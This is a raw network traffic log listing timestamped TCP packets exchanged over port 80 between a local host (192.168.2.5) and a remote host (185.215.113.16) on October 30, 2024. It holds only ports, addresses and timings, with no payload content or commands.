Oct 30, 2024 21:55:25.262150049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262160063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262170076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262181044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262191057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.262191057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.262192011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262202978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262212992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.262213945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262227058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262238026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262244940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.262248993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262262106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262269974 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.262269974 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.262274027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262293100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.262612104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262623072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262634039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262672901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.262674093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262686968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262696981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.262729883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.262729883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.282020092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.282031059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.282041073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.282090902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.282119989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.309483051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.309500933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.309510946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.309577942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.309747934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.309758902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.309767962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.309779882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.309815884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.309823990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.309823990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.309828997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.309840918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.309850931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.309859991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.309875011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.309875011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.309907913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.312783957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.312793970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.312808990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.312912941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.313221931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.313234091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.313242912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.313251972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.313299894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.313299894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.353636026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.353646994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.353657961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.353729010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.353729010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.354460001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354470968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354481936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354523897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.354542971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354553938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354564905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354574919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354583979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354593039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354604959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354613066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.354613066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.354614973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354631901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354644060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354645967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.354655027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354664087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354684114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.354696989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.354783058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354793072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354801893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354811907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354820967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354830980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354840040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354845047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.354845047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.354852915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354861975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.354862928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354875088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354883909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354892015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354902029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.354912043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.354912043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.355525017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355535984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355551004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355560064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355570078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355571985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.355571985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.355581999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355592966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.355596066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355607986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355639935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355639935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.355652094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355654001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.355663061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355673075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355688095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355693102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.355699062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355721951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.355773926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355776072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.355782986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.355921984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.357786894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.357796907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.357809067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.357819080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.357845068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.357858896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.359731913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.359743118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.359754086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.359764099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.359776020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.359786987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.359798908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.359822989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.359874010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.360037088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.360049009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.360065937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.360076904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.360088110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.360099077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.360110998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.360112906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.360112906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.360122919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.360130072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.360136986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.360147953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.360150099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.360182047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.406685114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.533977032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.535080910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.539796114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.539809942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.539819002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.539942026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.540975094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.540986061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.540997028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541044950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541059017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541060925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541073084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541085005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541109085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541119099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541120052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541129112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541132927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541141987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541146994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541156054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541173935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541186094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541187048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541198015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541208029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541232109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541285038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541403055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541414022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541424990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541434050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541444063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541455030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541465044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541475058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541484118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541486979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541486979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541496038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541503906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541516066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541527987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541538000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541547060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541547060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541547060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541558981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541572094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541583061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541593075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541595936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541611910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541629076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541629076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541644096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541665077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541682959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541697979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541707993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541718006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541727066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541735888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541739941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541750908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541759968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541763067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541775942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541790009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541806936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541816950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541821003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541821003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541826963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541843891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541851997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541861057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541863918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541863918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541876078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541884899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541892052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541898012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541908026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541918993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.541927099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541940928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541971922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.541992903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542004108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542012930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542022943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542033911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542045116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542053938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542063951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542063951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542063951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542074919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542078018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542094946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542140961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542150974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542160988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542170048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542180061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542187929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542190075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542201042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542222023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542237997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542237997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542238951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542251110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542260885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542269945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542280912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542289972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542294025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542294025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542309046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542319059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542327881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542330027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542340994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542360067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542392969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542431116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542474031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542733908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542743921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542762995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542773008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542784929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542793036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.542810917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542810917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.542843103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.546155930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.546166897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.546178102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.546194077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.546204090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.546214104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.546235085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.546238899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.546267986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.549417973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.549429893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.549439907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.549469948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.549484015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.549484015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.549495935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.549505949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.549535036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.549593925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.549604893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.549617052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.549627066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.549638033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.549659967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.549681902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.549943924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.556395054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.557071924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.590382099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.590394020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.590404987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.590435028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.590483904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.590929985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.590940952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.590950012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591010094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.591092110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591142893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591151953 CET	80	49712	185.215.113.16	192.168.2.5
